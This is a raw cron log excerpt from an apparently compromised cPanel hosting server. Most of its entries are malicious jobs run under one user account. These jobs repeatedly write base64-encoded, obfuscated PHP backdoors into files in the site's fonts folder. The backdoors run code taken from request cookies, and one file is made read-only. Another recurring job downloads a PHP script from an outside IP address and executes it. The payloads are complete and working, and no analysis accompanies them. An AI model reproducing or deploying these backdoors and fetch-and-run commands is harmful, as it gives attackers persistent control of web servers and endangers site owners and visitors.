Sep  9 07:48:01 ip-184-168-122-23 CROND[7704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:49:01 ip-184-168-122-23 CROND[7788]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 07:49:01 ip-184-168-122-23 CROND[7789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:49:01 ip-184-168-122-23 CROND[7793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:49:01 ip-184-168-122-23 CROND[7791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:49:01 ip-184-168-122-23 CROND[7792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:50:01 ip-184-168-122-23 CROND[7998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:50:01 ip-184-168-122-23 CROND[7997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:50:01 ip-184-168-122-23 CROND[7999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:50:01 ip-184-168-122-23 CROND[8005]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:50:01 ip-184-168-122-23 CROND[8006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:50:01 ip-184-168-122-23 CROND[8007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:50:01 ip-184-168-122-23 CROND[8003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:50:01 ip-184-168-122-23 CROND[8004]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 07:50:01 ip-184-168-122-23 CROND[8008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:51:01 ip-184-168-122-23 CROND[8129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:51:01 ip-184-168-122-23 CROND[8132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:51:01 ip-184-168-122-23 CROND[8131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:51:01 ip-184-168-122-23 CROND[8136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:52:01 ip-184-168-122-23 CROND[8250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:52:01 ip-184-168-122-23 CROND[8253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:52:01 ip-184-168-122-23 CROND[8252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:52:01 ip-184-168-122-23 CROND[8255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:52:01 ip-184-168-122-23 CROND[8254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:53:01 ip-184-168-122-23 CROND[8372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:53:01 ip-184-168-122-23 CROND[8371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:53:01 ip-184-168-122-23 CROND[8370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:53:01 ip-184-168-122-23 CROND[8369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:54:01 ip-184-168-122-23 CROND[8490]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:54:01 ip-184-168-122-23 CROND[8493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:54:01 ip-184-168-122-23 CROND[8495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:54:01 ip-184-168-122-23 CROND[8498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:54:01 ip-184-168-122-23 CROND[8499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:55:01 ip-184-168-122-23 CROND[8614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:55:01 ip-184-168-122-23 CROND[8615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:55:01 ip-184-168-122-23 CROND[8620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:55:01 ip-184-168-122-23 CROND[8619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:55:01 ip-184-168-122-23 CROND[8618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:55:01 ip-184-168-122-23 CROND[8622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:56:01 ip-184-168-122-23 CROND[8742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:56:01 ip-184-168-122-23 CROND[8744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:56:01 ip-184-168-122-23 CROND[8745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:56:01 ip-184-168-122-23 CROND[8746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:56:01 ip-184-168-122-23 CROND[8747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:57:01 ip-184-168-122-23 CROND[8850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:57:01 ip-184-168-122-23 CROND[8851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:57:01 ip-184-168-122-23 CROND[8852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:57:01 ip-184-168-122-23 CROND[8853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:58:01 ip-184-168-122-23 CROND[9028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:58:01 ip-184-168-122-23 CROND[9029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:58:01 ip-184-168-122-23 CROND[9030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:58:01 ip-184-168-122-23 CROND[9034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:58:01 ip-184-168-122-23 CROND[9035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:59:01 ip-184-168-122-23 CROND[9131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:59:01 ip-184-168-122-23 CROND[9134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:59:01 ip-184-168-122-23 CROND[9133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:59:01 ip-184-168-122-23 CROND[9139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:00:01 ip-184-168-122-23 CROND[9230]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:00:01 ip-184-168-122-23 CROND[9233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:00:01 ip-184-168-122-23 CROND[9234]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 08:00:02 ip-184-168-122-23 CROND[9238]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  9 08:00:02 ip-184-168-122-23 CROND[9242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:00:02 ip-184-168-122-23 CROND[9237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
